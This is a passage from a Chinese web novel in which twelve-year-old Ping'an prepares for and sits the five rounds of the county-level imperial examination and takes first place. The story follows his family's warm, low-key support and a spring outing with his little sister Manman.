徐夫子一噎,他才要叮嘱学生放平心态,人自个儿就晓得了。 遂无奈道:“不用过于自谦,童子试,尽管畅所欲言,便是言辞观点有些许过激,也是少年人的一腔热血与赤诚。” 平安自是恭敬应下。 徐夫子思及这学生的家境,又多提点了几句考试要点,约莫一盏茶后,才道:“其余准備诸事,若有不明之处,尽管去寻墨竹,他晓得这些。” “多谢夫子。”平安一稽到底。 这些考试诸事,家里人早早便收集好这方面的消息,娘亲还特意订了个册子,衣食住行,方方面面都記在了上头。 夏姑父还帮着补充了好些。 这一番下来,可不就耽搁了许久。 平安辞过徐夫子,收拾了东西快步往家赶,路上还不忘买一包酥糖来哄妹妹。 唉,今日原本与妹妹约好一同收桂花,晒了桂花干来,不论是做糕点还是制桂花蜜都是极好的。 妹妹对这些事儿最是上心,他今日回家这样晚,定然会教妹妹失望的。 得认错,还得哄。 果然,家去后,慢慢瞧见平安,不见往日欢喜。 反拧着小眉头道:“作甚去了?家里人担心呢!” 听她小大人一样的语气,一家子都憋笑。 平安蹲下来,瞧着妹妹道歉:“夫子留我说了会儿话,这才耽搁了。教慢慢等久了,是我的不是,桂花可收了?” 慢慢摇头:“没呢!我自是要等着哥哥一道的。” 她虽不晓得桂花有何含义,可她有回不小心将桂花扬了哥哥满身,哥哥不仅不生气,还说是好兆头。打那时,慢慢就要留着桂花,与哥哥一道收。 听得哥哥是有事儿耽搁了,慢慢这才罢休。可她还不忘叮嘱道:“下回,可要記得往家里稍信儿。” 平安认真点头:“好,哥哥记下了。” 林真在一旁瞧着,实在忍不住,只能背过身去,笑得肩膀一耸一耸的。 贺景拍拍她,提醒她:慢慢和平安都过来了,快收收那一脸的笑。 晚间家里人都在时,平安便说起徐夫子教他明年下场一事。 “夫子教我下场,见识一番考试之象。晓得如何应对,心里有底了,往后才不会发虚。” 一家子便都多欢喜,林屠户从来不烧香拜佛的人,居然要张罗着教一家子去宝相寺上香。 “待到考试时,求菩萨保佑的人定然多。菩萨忙碌,哪里记得过来恁多人?咱提前去,也好教菩萨好好瞧一瞧咱家平安。” 林真,有一瞬间,居然觉着她爹说得很有道理。 慢慢头一个举手赞同:“宝相寺的斋饭好吃!这时候去,有玉糁羹吃!” 平安也点头,虽然明年下场,时间已不算多,可读书用功,不在朝夕,乃是日积月累,张弛有度才能有所得。 腾出半日时间来,与家人同游,休息一二,便是张弛之道。 旬休那日,一家子便都往宝相寺去,拜过魁星,吃过斋饭,便算是正式开启了平安的备考生活。 平安虽晓得徐夫子此次,意在磨砺自个儿,并不为上榜,可他自是要全心应对的。 一則,是教自个儿不要生出懈怠之心;二则,若是马虎应对,連头一场都过不去,岂不是丢丑? 童子试的第一场是縣试。 縣试有一个好处,在本县应考,少了奔波劳累之苦;但是有一个壞处,县试考五场,每场考一日,两日后出成绩,榜上有名者,才能参与下一场考试。 若是读书五载,連正场都过不去,他林弘安,也是要面子的,着实丢不起这个人。 如此,平安便愈发用功。 除了每日还记得腾出时间来与妹妹拍球散步,其余时间,是再不会出门去。 林真瞧着,又特意将人唤来:“平安,考试要紧,身子也要紧。你正是长身体的时候,若是这时候过于刻苦,不注意饮食活动,坏了身子,往后这科举之路是走不长的。你想想,乡试连考九日,又还得在考场里住六晚。身子不好的,可是撑不过的。你瞧瞧你夏姑父,若不是最后一场病得糊涂了,他许是能中举的。” 去年是大比之年,夏和远备考多年,自是要往京都考试。 可他人是好端端得进去的,出来时,却是教兵丁抬出来的。 幸而燕儿帶着健壮人力跟着去陪考,她早年跑商很是经了些事儿。 早早便打听了医馆,见了夏和远不省人事地被抬出来,没有哭天抢地,很快便镇定下来,抢了人便冲去医馆,扎针熬药,又在京都养了许久,这才能将人全须全尾地带回来。 可夏和远回来的时候,瞧着也是吓人。 瘦了一大圈儿,眼眶凹陷,瞧着风一吹便要倒似的。 他家衡哥儿都认不出他来,瞧着瘦伶伶的夏和远,一个劲儿地往苗娘子怀里躲,就是不肯唤一声‘爹爹’。 平安此时也想起夏姑父叮嘱他的话,遂点点头。 “孩儿晓得了,往后便腾出半个时辰来练五禽戏。娘也一起吧?有你带着,我也能说动妹妹一道练。” 林真一噎,很想拒绝,可身为人母,以身作则,她只能沉重地点点头,又将贺景也抓来。 一家子整整齊齊的,她心里才稍稍平衡了些。 后头夏和远晓得平安明年下场,还专门过来了一趟。 送了些程文经墨,瞧见平安晓得保重身子也很是欣慰,又还瞧了瞧林家备下的考篮,见样样齐全,这才放下心来。 他拍着平安的肩膀,道:“县试五场,中间因着判卷有休息之日,可一连五场下来,也得绷着心神熬大半个月。你娘说得没错,身体才是科举的本钱。” 勉励一番后,夏和远与燕儿在林家吃过夕食,才牵着衡哥儿家去。 经了乡试那一遭,他心里对燕儿愈发敬重,待林家自然更是上心。 如此,今年的正月一晃神便过去了。 二月初六,才将将立春,天气还未见回暖。 平安便要拎着考篮,只着单衣,入考棚考试了。 林真有夏和远提点,特意托了黄绣娘,拿了好料子和皮子,在平安的单衣里头细细缀了一层细绒。 可平安才十二岁,便是身量较高,可落在人堆儿里,瞧着也是单薄。 寅时便要排队入场,此时正是更深露重寒凉时,林真瞧着平安,便觉心酸。 可铜锣响了第三回 ,衙役开始驱赶送考的人群。 林真和贺景,也只能瞧着那道小小的身影,伴着星子和火光,逐渐汇入人群,再也瞧不见。 第112章 林真一家子自来低调, 平安下場的事儿,原是谁都没说的。 可报名那日,恰巧遇见了林氏族学中今年也要下場的学生。 里头有些人, 曾是平安的同窗。 这一见面,少不得寒暄几句,大家便都晓得了,平安要下場考試去。 他才多大?十二岁罢?居然就要下場考試了? 这消息着实惊到了枣儿村众人。 常来枣儿村的林屠戶和苗娘子嘴紧, 面对众人的询问, 只道:“嗨, 讀书人的事儿,我们哪里懂?还不是夫子说甚就是甚。” 他们俩这头问不出甚,廖夫子还特意教林有文与他一道,专门来栖迟巷这头, ‘责问’林真。 “平安年幼,讀书不满六载, 怎能教其贸然下场?别说他没有得中的可能, 便是侥幸得中, 周围人少不得吹捧一番,届时迷失了本心可怎生是好?小时了了, 大未佳的事儿还少了麽?你先前那样有主意, 怎生到了这县里的学塾却没了主见?这样荒唐的事儿都应了下来?” “廖兄, 廖兄……”林有文急忙出声。 “你别拦着!她先前瞧不上我, 执意教平安另尋夫子,老夫便不追究。可你瞧瞧, 她尋来的这老师,如此自大又贪慕虚名,此番教如此年幼的学生下场, 无非是想借着平安博美名儿!”廖夫子根本不听,嘴皮子上下一碰,问责的话便一咕噜都吐了出来。 林真听了这话,一点儿不生气,反而想笑。 徐夫子的学塾,对林家众人和廖夫子来说,确实是名声不顯,可这‘不顯’是因着林家这头家世太低,够不到人家的门槛,才不显。 慈溪的学塾何其多,姓徐的夫子又何其多? 徐夫子的学塾連个正经的名字都没取,可只要一说起‘徐夫子的学塾’,谁都晓得指得是何处。 说徐夫子要借着平安来扬名? 林真只觉好笑。 “廖夫子放心,头回下场都手生,徐夫子此番也只是教平安下场磨砺一二,熟悉考场摸清流程,并未抱着上榜的期望。一回生二回熟,平安往后下场便会从容許多。”林真心平气和解釋,话风一转,又道。 “且我听说,朝廷是准許学生六岁便可下场童考的,只我们这些小地方上,多是下场晚些,瞧着平安才觉着小。若是放在外头,便是寻常得很。” 这便是说我出身乡野,见识浅薄了? 廖夫子大怒,可又觉着与林真一妇人争论,实在跌份儿。 “哼!不识好歹!” 扔下这句话,廖夫子转身便走,全然不管林有文还在身后。 “哎呦,廖兄,廖兄?”林有文嘴上叫唤得殷勤,可脚下确实一步未挪动。瞧见廖夫子的身影完全消失后,他这才回过身来,細问林真。 林真晓得族长是真心关心平安,这才細细解釋。 “平安读书日子久了,若是不教他下场一試,如何能晓得自个儿肚子里有几两墨水?且县試、府试年年都有,往来也算便捷,便教他去试一试。待熟悉考场了,心里头自然没那般紧张,下回去考,便容易出好成绩。” 林有文一想,也是,族学里头的学生,多是要计算着盘缠花销,可真姐儿家大业大,又只需供平安一人读书举业,自然是不计较这些的。 家里能支撑着孩子考试,平安年纪还小,便是多考几回也不算啥。 想通后,林有文便不多问,果断告辞离去。 他晓得分寸,他虽姓林,又是林氏族长,可再怎样,平安的事儿,得由着他的父母拿主意。 家里人谁都没对此次县试抱有上榜的期望,故而家里一切寻常。 因着平日里对平安和慢慢就上心,此番平安下场,也不过是厨房改了菜单子,多安排了些好克化的食物,家里人不轻易往平安的屋子走动罢了。 二月初六,是林真与賀景驾着騾车送平安入场的。 連林屠戶和苗娘子都没惊动,头一日,信誓旦旦说要送哥哥考试的慢慢,自然也没叫她起来。 三更天就得出发,夜里寒涼,没得教孩子受罪。 是以,送完平安的林真二人家来时。 瞧见的就是散着头发,红着眼眶的慢慢。 “爹爹和娘親都是小花(家里养的小狗),说话不算话!” 一瞧见爹娘,慢慢便不依了,噘着嘴控诉道。 林真赶忙过去,搂着慢慢,哄道:“好好好,爹爹和娘亲都是小狗,慢慢是小小狗。” “娘!” …… 嬉闹一阵儿,瞧着慢慢没那么生气了,林真这才道。 “咱们送哥哥出门时,黑漆漆的,星子都还在天上呢。那会儿可冷了,你还小,若是叫你起来,受涼了,又要去喝苦药汁子的。哥哥下午便家来了,就跟往日里去学塾一样的。” “啊?哥哥恁早就起来了麽?真可怜,今儿麽麽要做牛乳糕,我不吃了,全留给哥哥。”慢慢很容易便哄好。 这会儿又觉着早早便要出门考试的平安很是可怜。 “慢慢真乖!可牛乳糕是慢慢昨日认了两个大字后,娘親奖励你吃的,你留着自个儿吃罢。哥哥考试不好吃牛乳,他有新鲜的米糕吃呢。” “那哥哥晌午吃甚?他要写恁多字儿,可辛苦了,晌午可得好好吃饭的。”慢慢又问。 “这个啊,哥哥晌午有县里发的蒸饼吃。” 慢慢彻底被带偏,眨巴着大眼睛问:“县里的蒸饼好吃麽?” …… 县里的蒸饼不好吃,又冷又硬,连送来的一盏子水,说是熱水,其实只比凉水好一些。 幸而娘亲思虑周全,早早便打了两层的大铜瓶儿来,又在外头用棉捂子包得严严实实。 今儿一早灌满的滚水,此时倒出来,带着袅袅熱烟。 平安吹了吹,小心饮了几口熱水,这才觉着心底有了热气流动。 不过他也不敢多喝,徐夫子早说了,县试一场一日,少吃少喝,中途不能去如厕,若是卷面教盖上‘屎戳子’,卷面答得再好,也只会得一个落卷的下场。 平安略略吃了几口,搓了搓手,待手指不僵硬后,便开始誊抄答卷。 第一场,即正场,考基础经义,一篇釋义,一篇时文,再有一首试贴诗即可。 释义有些像是名词解释,从四书中随机挑一段,默写出来,并且对其进行解释说明。这是最基础的考题,考得就是学生的背诵和理解能力,只要是有志于科举的考生,都能答出来。 时文是命题作文,根据题目进行论述。时文讲究用圣人言论述题目,要求对偶工整,文辞风雅。 最后一题不用说了,五言六韵的试帖诗。 总体算来,题量并不大。 平安学问扎实,破题也快,又常有巧思,这是徐夫子都夸赞过的。 他瞧见题目时便觉成竹在胸,下筆如有神助,全神贯注,早早便将题目答完。 此时略作修整,再仔细检查一遍稿纸上的答案,再斟酌用词,稍作修改后。 便收敛心神,将答案仔细誊抄在答卷上。 平安答得认真,却不晓得他对面儿的考生有多难熬。 先是瞧见小小一个儿的考生于自个儿一同下场,想到自个儿已是老大不小,有些心酸;待瞧见其下筆从容,心中更觉烦躁;等瞧见平安晌午掏出大铜瓶儿,从中到出热水来,更是艳羡。 头一场考试,便在平安的谨慎从容中度过。 出得考场时,他老远就瞧见等在外头的林真与賀景,等再湊近些,还瞧见了一向不爱出门的妹妹。 平安心里很是欢喜,仗着自个儿身量还小,游鱼儿似的奔向家人。 贺景上前几步,本是想抱平安,可想着读书人的讲究,便只拉着他的手,道:“手怎这样凉?咱先出去,家里的騾车停在东大街那头,上车再说。” 一家子便又挤出去。 直到上了骡车,林真才拍拍平安:“可累着了?” 平安瞧见只有爹娘妹妹,原是想撒娇,可又一想考场之事,只得老实摇头:“不累。许是我年纪小,身量也小,考棚对我来说不算窄**仄,这才不觉着累。” “是麽?”林真想起前世参观过的贡院,又瞧瞧平安,点点头。 轻易便接受了平安的解释,没觉着有甚不对劲儿。 慢慢先前听见爹爹说哥哥手凉,上车便到了热茶,此时道:“哥哥捧着茶盏子暖暖手,要吃栗子糕麽?” 平安接过茶盏子,摇摇头:“慢慢吃罢,哥哥此时倒是不想吃甜腻的。” “啊?”慢慢惊讶,她觉着栗子糕,可好吃可好吃了。 “那今晚便吃些爽口的,家里有春笋和嫩枸杞,切些香蕈来,清炒很是不错。再一道鸡丝瓜齑,很是送饭;吴麽麽还炖了鱼糜汤,也是好克化的。热水也备下了,家去梳洗一番,吃完倒头便睡罢。” 林真晓得平安很有些小洁癖,自然准备周全了。 “娘亲真好!”平安湊过去,轻轻靠着林真。 慢慢也凑近,靠着平安:“哥哥,我请邹麽麽给你被子里放了汤婆子。你今日起得比小花还早,可别受了寒气。” 林真往旁边一歪,靠在贺景身上,此时听见女儿这样说,很是肯定地点点头:“还是慢慢想得周到。下回咱可得将手炉备上,便是不能带入考场,可路上也能暖暖手。” 至于没有通过正场,不得进行下一场的初复? 林真压根儿没想过这个问题。 平安的用功她瞧在眼里,这孩子,不会连第一场都过不去的。 如此,一家子家去后,便闭门谢客,林真还特意叮嘱家里人,也不教他们多问平安考试如何。 只教平安好生休息。 考完便如落子,结局已定,只肖静待两日,初八便会放榜,此时何必多问? 第113章 初八一早, 一家子匆匆吃过朝食,便一同去考場外头,等着放榜。 考場外的布榜栏前, 已围着好些人。 不论是初次下場还是二次下場的考生,哪有不忧心成绩的呢? 还有早早前来占位置的人力杂役,他们卯着劲儿,都想头一个回去给主家报喜, 好得赏钱的。 是以, 雖离着放榜时辰还有段时间, 可布榜栏前还是人头攒动,人擠人,擠得慌。 一家子瞧着,都咋舌。 长樂苦了脸, 前头好些熟面孔,都是栖迟巷內的人力门房, 他们早早前来, 倒是显得他不尽心似的。 他抹了一把脸, 道恼:“郎君,娘子, 这头人多杂乱, 可别冲撞了小郎君, 还是教小人擠进去瞧瞧罷。” 林真瞧着也是发憷, 她今儿雖劝着慢慢别来,可她带着平安。 平安的小身板, 在这人堆儿前可不够看,若是正场过了,可在这头给磕了碰了, 无法考下一场,那才是教人悔得肠子青。 她果断点头,道:“成,你进去瞧瞧,自个儿当心些,我们就在外头等着。” 林屠户一挥手:“你俩带着平安走遠些,我与长樂一同往里挤一挤,他这小身板,怕是挤不进去。” 林真劝不动她爹,只能瞧着她爹,拿出按猪的劲儿来,护着长樂往人堆儿里冲去。 恰在这时,手持红榜的胥吏出来。 红榜在前,虽有衙役维护秩序,可人群还是一下子骚动起来。 林真没法子,只得与贺景护着平安,一退再退。 另一头,悍勇向前的林屠户和长樂,顺利挤到了布榜栏跟前。 持榜的胥吏也不拖沓,三两下便将红榜张贴完毕。 慈溪文风颇盛,参加童考的学生多,这头场的红榜自然也是最多的,足足张贴了三张红榜。 榜單一出,人群蜂拥而上,林屠户见此,干脆一把将长乐举起来:“快瞧瞧,可有平安的名儿!” 长乐猝不及防教人举起来,本来还挺慌,可听见主家老爷的声儿,下意识便往红榜上看,这一瞧,整好在第一张红榜上瞧见了小郎君的名儿。 “中了中了!头榜第三便是咱家郎君。” 林屠户大喜,一叠声儿道:“果真?你再好生瞧瞧,当真是咱家平安的名儿!” 长乐定睛一瞧,乐了:“不会错!林弘安,枣儿村,是咱家小郎君!” “好!好!好!”林屠户大笑。 放了长乐下来,倆人又一道挤出去。 等倆人挤出来后,林屠户又一把举起平安:“哈哈!阿爷的乖孙儿,果真聪慧,中了中了!头榜第三,咱家平安果真争气!” 长乐也笑着贺喜:“恭喜娘子,恭喜郎君,咱家小郎君榜上有名儿,头榜第三!” 接连两个‘头榜第三’的话砸下来,饶是林真对平安挺有信心,也是惊愕。 縣試头四场不会标注名次,可上榜的名單也不是胡乱誊写的,从左至右,从上至下數,那便是没标记的名次了。 平安头场的名次,是实实在在的縣前十。 “好啊好,如此名次,只要后几场正常发挥,通过縣試不是难事儿。”夏和遠抚掌大笑,“平安,好样的!” 今日放榜,夏和远早早便与燕儿一道来了林家,此时听见平安取得如此佳绩,不禁赞道。 平安抿着嘴,有些羞涩道:“姑父谬赞了,头场考试较为基础,许是侄儿运道好些。接下来的几场,还得小心应答。” 见平安如此,在场的众人更是欣慰,遂由着他告辞温书去了。 翌日,还是由着林真与贺景送平安去考场,可这回,騾车上多了个小尾巴。 慢慢没能去送哥哥考试,放榜那日也没去成,且听娘亲说,后头的放榜日,家里人都不去了! 这是林真的意思,人多不安全,便是去了也只能在外头干巴巴等着,还是教长乐去瞧了红榜,家来报消息罷。 如此一来,慢慢便很是嚴肃,与爹娘说话都板着小脸:一定,一定要唤她一道去送哥哥入场。 林弘昭小朋友一般是很好说话的,可若是这样郑重其事,家里人却没做到,她就会很伤心。 林真无法,今儿一早,只能唤了慢慢一道出门。 用斗篷给裹得嚴严实实,一路抱着上了騾车。 二月里,三更天的时辰天且还黑着,外头冷,被子里又暖呼呼正是好睡的时候。 慢慢虽硬生生爬起来,可人却懵懵的。 被抱上了骡车后,车里暖和,且一摇一晃,整个人晕乎乎的,最终,小脑袋一歪,居然又睡了过去。 平安瞧见妹妹小鸡啄米似的,小脑袋一点一点,有些好笑,还有些心疼。 “娘,以后就不教妹妹起来了罢。她人小,正是好睡的时候,起得恁早,瞧着倒是可怜。” “你放心,就这一回,后头几次我必能劝住她的。”林真给女儿拢了拢衣领子,又问平安,“可是紧张?你头场考得好,已是教我和你爹很是高兴了。后头几场,平常以待就好,你还小呢,机会多得是。” 她了解这孩子,头场考得好,心里便有些包袱,定是想着一鼓作气考过县试才好。 平安点点头:“是有一点儿,不过瞧着爹娘和妹妹,倒是不紧张了。” 骡车还是堵在考场前的东大街进不去,这回还是教贺景下来送平安。 林真要赶着骡车将道让出来,免得越来越堵,教后头的考生误了时辰。 贺景与平安打着灯笼下车去,偏是这时,慢慢一下子醒来了。 她揉揉眼睛:“哥哥快些考完,家来吃鲜肉小馄饨。加了芥菜的小馄饨,滴上两滴香醋,鲜得很。” 平安笑了笑,忍不住伸手捏了捏慢慢肉乎乎的圆脸蛋儿:“好,哥哥记住了。” 慢慢没反应过来,一直到贺景与平安走远了,她才捂着脸道:“咦?哥哥作甚捏我脸?不说说好不捏了的麽?” 林真:专注赶车中,甚么都没听见。 第二回 入场的平安显得更是娴熟,检查桌板,收拾号舍,闭目养神。 待到铜锣三声,喝考官浑厚的声音响彻号舍:“考生凝神,考題将揭!” 平安早已准备好,双目炯炯,提笔先将考題录下,再三检查,确认无误后,便凝神思索,再分不出一丝心神注意外界。 初複题量教正场多些,难度也略大。 可显然没有难倒平安,他凝神细思一番便落笔,瞧着很是从容。 巡场的县尊大人瞧见他,暗自点头:年纪是最小的,可人却沉稳,小白杨似的。若是有真才实学,倒是不妨…… 他明年便任滿三年,若是此子小小年纪得中秀才,也算是他教化有功。 平安自是不晓得自个儿又撞大运了,只一门心思答题。 正场一场,初複一场,刷下去将近四成的考生。 第三场再复,又要考律赋与时务策,简单考察学子对地方治理与历朝历代发生的事件有何见解。 三场下来,考场上剩余的考生不足当初一半儿。 平安稳得住,场场名列前茅,号舍便愈发往前。 第四场的连复,说来简单,只教考生写判词一篇。 说它简单,是因为时间充足且题目有据可寻;可若是平日里不注重积累,涉猎不足,只是个死读四书经文的书呆子,那这一场,必定要栽大跟头的。 最后一场,考得是算數与诏、诰、表等公文写作。 到这一场,考场內的学子只剩一百来人。 平安也坐得愈发靠前,他就在第一排。 此时若是有胆子抬头瞧一瞧,便能瞧见县尊大人。 最后一场,县尊大人似乎十分重视,很是在考场内溜达了一会儿。 下头的学子,很有些受不住压力,若是被县尊大人多瞧几眼,或是多停留一会儿,便要眼神闪烁,湿了后背。 平安倒是不惧,不过比平日坐得更端正了些。 他还小,长得也好看,便是有甚不合乎礼数的举动,往往也不会教人生厌。 这是林真说的,平安很是信服。 县尊大人溜达了一圈儿,心里有了打算,总算是放过这一届可怜的学子,又溜达回考场内的抡才堂去歇着,养足了精神,才好判卷。 第五场的终场,开考时已临近三月。 此时,草儿绿了,桃花梨花相继绽放,若是遇见晴日,便是一派暄风和日,春和景明之象。 这日恰是遇晴,平安从考场内出来时,只覺春。光融融,温暖的阳光洒在身上,教他僵坐了大半日的身子慢慢回暖,他眯着眼儿,只覺分外惬意。 “哥哥!”慢慢好似一只小鸟,快乐地飞过来,还殷勤地要与哥哥提考篮。 她上午实在起不来,便只能等着哥哥考完,出了考场来接他。 平安可不敢将考篮全然交与妹妹,这里头还有那只双层的黄铜瓶儿呢,可沉手了。 林真与贺景跟在后头一道过来,贺景伸手接过考篮:“给爹爹,你陪着哥哥说会儿话。” 最后一日,平安不教驾车来,说是想与家人一道走回去。 林真自然滿足了他这点小要求,此时带着一双儿女,慢悠悠走在他们身后,旁边陪着贺景,只觉格外满足。 家去时,林屠户和苗娘子早等着几人了。 今日最后一场,林真想着要与孩子庆祝一番。 在林真看来,此时是最好的时机。 若是没过,那抓紧时间庆贺一番,只毕竟是孩子头次下场,不能教平安留下遗憾;若是过了,那更好,好事值得庆祝两回。 可今朝到底还未出成绩,便只一家子小聚一番。 免得教外人瞧着,觉着张扬。 第114章 徐夫子给了应考的学子三日假, 说是教考生好生修整一番。 可細算起来,放榜日估摸着就在三日之后,大多数考生, 怕是想休息玩耍也是玩不好的。 平安倒是能放开手去耍,今朝因着他要下場,一家子还未出门踏青。 这厢考完,家里人便预備着往西山去, 好生游玩一番, 也教平安松松心神。 西山有桃林溪水, 此时正是好風光,县里人家出城踏青,多是在那處。 林屠戶很是赞成,他暗戳戳预備着, 要往宝相寺再走一趟。 这日,一家子便驾着两辆骡车出门去。 点心果子和茶水必不可少, 还给慢慢带了一只彩色的纸鸢, 杂七杂八便是一大堆。 正是春光明媚, 桃花艳艳时,这个时节, 便是不爱出门的慢慢也愿意多动弹几步。 更别说, 她手上还拿着一只特漂亮的纸鸢, 这是她和爹爹娘亲一起制的, 哥哥虽不得空,可还给提了两句诗:但使纸鸢高百尺, 平安歲歲入怀中。 原是很平常的祈福诗,因着带了平安的小名儿,便格外得慢慢喜欢。 她拿着放飞的風筝一路小跑, 头上的鬏鬏带着红绳儿一跳一跳,衬着她红扑扑的小臉,显得格外讨喜。 “慢慢,你跑慢些!”平安皱着眉,提醒妹妹。 “哎呦!”话音才落,就瞧见妹妹似乎脚下不稳,向前一扑。 前头也有一位小娘子,见此动静,上前一步。 她原是想扶住慢慢,可没想到,慢慢瞧着小,可却是个实心的崽子,不止没能扶稳慢慢,还带着自个儿一起摔了一跤。 原就飞得摇摇晃晃的纸鸢,没了助力后,便直直往下坠,瞧着似乎要坠在两人身上。 平安臉色一变,顾不得许多,直直冲过去将两人护在身后。 纸鸢以竹为骨架,用纸糊面儿,拿在手上轻巧,可飞得恁高,此番掉下来,砸在人身上,还是听得一声闷响。 “哥哥!”慢慢一惊,语气带上些许哭腔。 “哥哥无事,你呢?可摔着了?”平安先问慢慢,瞧见妹妹摇头。 这才拱手行礼,与那陌生的小娘子道谢。 他低垂着眼儿,并不去看那陌生的小娘子,只问道:“多谢小娘子出手相助,将才护着家妹,你可摔着了?请稍等一等,我家人都在后头,我唤了女使来帮你瞧瞧。” 那小娘子已是利落起身,不在意道:“无事。” 她又捡起那摔坏的纸鸢,递给慢慢:“下回可要仔細些,‘平安歲岁入怀中’,你家里人都盼着你平安康建呢。” 慢慢乖乖点头,叉着小手行礼:“多谢姐姐,都是慢慢不好,害得你污了衣裙。” 那小娘子摇摇头:“无碍,我家里人带了衣衫过来的,你瞧,她们来了。” 平安和慢慢抬头一瞧,果见遠處一年长些的麽麽带着倆女使往这边儿疾步而来,脸上带着些焦急之色。 “嘘!”那小娘子竖起一根葱段儿似的手,她一笑,便露出倆梨涡来。 “她们来了,我就得走了,保密哦。” 说完,她转身欲走,慢慢眼疾手快往她手里塞了一个小荷包。 “姐姐,里头是我自家制的松子糖,可好吃了!送你吃,多谢你接着慢慢。” 林真遠遠瞧着倆孩子似乎摔了,她也没着急,小孩子么,摔跤是正常的。 走近后,拉着俩孩子检查一番,见没大事儿,她也不多问,只是有些奇怪:“平安,可是衣裳穿厚了,怎瞧着你脸有些红呢?” “没,没事儿。”平安摇摇头,又点点头,“有些熱了。” 写诗的时候不觉着有甚,可听见自个儿的小名被念出来,着实有些奇怪。 …… 如此又熬了两日,总算是熬到了放榜的日子。 这朝定名次,定然更是熱闹,别的不说,林家一家子都要去凑这个热闹的。 慢慢最是高兴,她还没出门去瞧过放榜呢! 县試放榜发的是团案,即案首的名字写在榜单正中最上面,最是醒目,然后才是第二名、第三名的名字分列左右,如此便将取中者的名字写成一个大圆圈,中间用朱笔写一个大大的‘中’字。 如此,除了县案首的名儿最是醒目外,其余的,且要仔细找一找。 林屠戶早早便尋夏和遠打听好了,此番更是严阵以待。 “我领着长乐先去占个好位子,你们后头再来。” 林屠戶可不听劝,自家乖孙儿前四場,场场都是榜上有名儿,想来今朝也是,他可得早些去。 长乐也是摩拳擦掌,早早便起身,与林屠户这位看榜搭子,天还未亮就先出门去了。 一家子都教这一出弄得心急,慢慢这个慢性子也发急,連往日里最喜欢吃的鲜笋小包子也不吃了。 “娘亲,咱们快些去罢,别人都去了,咱可不能教哥哥落后了。” 倒是难为她这样积极肯动弹。 无法,一家子朝食都没吃完,就早早出门。 待到了布榜栏前,又教拥堵的人群吓了一跳。 林真一把拉住慢慢,道:“乖崽,这可不兴往前挤,咱就在这头等着阿爷来。” 平安也凝眉,劝道:“慢慢,咱就在这头等。” 林真与贺景都怕人群挤着孩子,拉着俩崽子直往后躲。 旁人都是向前,独独他们是朝后,有些人瞧了,乐道:“后生,怎这时候往后躲?便是心里没底儿,到底是撑到最后一场了,怎不去前头瞧瞧?” 平安好脾气笑笑:“中与不中都已定,我此时退一退,没甚大不了的。” 慢慢噘着嘴,道:“我哥哥定然能中的!” 恰在此时,人群轰然一动,不断有惊呼声传来。 “案首居然是个未束发的小童!” “甚?十二岁的案首?” “老天爷啊!你怎如此不公?我读书十二载,居然还比不过一十二岁的总角孩童!” …… 林真心口怦怦直跳,十二岁,她家平安也是十二岁…… 长乐冲出人群,他喜得双手胡乱挥舞,欢呼着,雀跃着。 “中了!中了!娘子、郎君,咱家小郎君是案首,县案首!” 才将出声的男子傻眼了,瞧瞧跟前的平安,又瞧了一眼冲着他们拱手报喜的长乐,心念急转。 也拱手笑着贺道:“哎呦!某着实眼拙,眼拙,有眼不识金镶玉!竟冒犯了案首,还请原谅则个!” 平安摇摇头,也是一礼:“言语几句,哪里称得上冒犯。” 有这一出,边上的人群便都朝着这头看过来。 林真见事不对,瞧见林屠户也出来了,拉着平安和慢慢便走。 “爹,咱先家去!” 长乐也机灵,快步上前,拉着林屠户快步追出去。 一家子急匆匆来,又急匆匆走。 直到回了家,院门一锁,将外头的各种声音隔绝在外,这才有心思品尝喜悦。 林屠户转来转去,嘴里嘀咕着:“我乖孙是案首,案首!我要开祠堂祭祖,我林家有望了……” 苗娘子也是欢喜得合不拢嘴,拉着平安直夸。 不多时,燕儿带着一家子也来了,个个面上带笑。 夏和远也是一脸外露的喜色,拉着平安好一阵夸,直说要平安好生温书,将四月的府試一并过了,一举拿下童生功名。 “如此,便是十二岁的童生,好啊!此等名次,便是放在州府,也是出眾!” 林真心里一突,沉思一会儿,问道:“远兄弟,县試的答卷可会張貼出来?世人心中的成见难去,平安小小年纪拨得头筹,恐是不能服眾。我先前在外头,已是听着些抱怨之语。” 夏和远一惊,再次赞叹林真心性:如此春风得意之时,連他这旁观者都失了平常心,可林真还能如此沉着。 居安思危,教他不得不服。也是,只有这一等一的母亲,才能教养出如此出众的儿女。 夏和远一拱手:“阿姐莫忧,怪我先前没说清楚。凡是科考,前十名的答卷都会張貼出来。一来可供天下读书人共瞻品鉴,二来么,咳咳……” 他压低了声儿道:“也是防着主考官偏颇私心之风,典雅新奇可,质朴高古也可,好教天下文章,百花齐放。程文,程文,除了大家所出,多是指代这些随着科考张贴出来的好文章。” 夏和远先前确实是没想到,林家侄儿能取得此等成绩,故而没说。 林家众人听了夏和远的解释,这才放下心来,一家子凑在一处小聚一番。 林真还特意交代了长乐,守好门户,家里并不预备着大肆庆贺。 虽县試有次佳绩,可到底只是县试,是最基本的考试,经过县试,不过是取得考下一场的资格,连个正经功名都没有,四处夸耀便显得张扬浅薄。 且此时已是三月,四月里就得去府城考府试,满打满算,只有一个多月的光景,时间紧得很。 为此,林真还与林屠户特意回了枣儿村一趟,尋了族长、族老说明此事。 可不是林真家里张狂不认族人,着实是无需张扬。 林真家里静悄悄,倒是教徐夫子又高看一眼。 “你能如此沉着,家里人也晓得藏锋低调,为师很是欣慰。如此,备考期间需得更刻苦,四月府试,明年院试,为师希望你都能取得佳绩。知府大人虽与县尊大人有旧,可你更得上进。万万不可像去年的案首那样,教人吹捧鼓动着,失了读书上进之心,他去年府试失利,已是教县尊大人心中不悦,今年县试,你仔细瞧瞧,可有他的名儿?” 涉及这些弯弯绕绕,徐夫子只点到为止。 他很快便拎着平安继续读书,又调整了教案。 如此,平安下学的日子又往后延了一个时辰。 且下学休沐的日子,也只腾出一小会儿时间来,练五禽戏又陪着慢慢投壶,下半晌,还要去寻夏和远讨教。 如此忙碌,时间一晃而过。 很快,便到了动身前往府城的日子。 第115章 整个儿三月備考, 平安比往日读书累得多。 家里的白烛用量见涨,平安的身子反倒是像抽条儿的白杨树一般,愈发瘦削。 家里人瞧着心疼, 只平安樂在其中。 他私心里觉着:这时才像是读书举业的样子,先前那样,頂多算是启蒙。 他如此快活,沉浸在知识的甘霖里, 像是遇见春雨的种子, 不断扎根, 不断成长。 林真瞧在眼里,又从平安那头晓得徐夫子的那番话,心下有些猜测。 平安下场考试的时间这样巧妙,说不得, 是徐夫子故意为之。 如此,倒是不好说些其余的话, 教孩子失了心气儿。 她只拍拍平安的肩膀:“你自小就教爹娘放心, 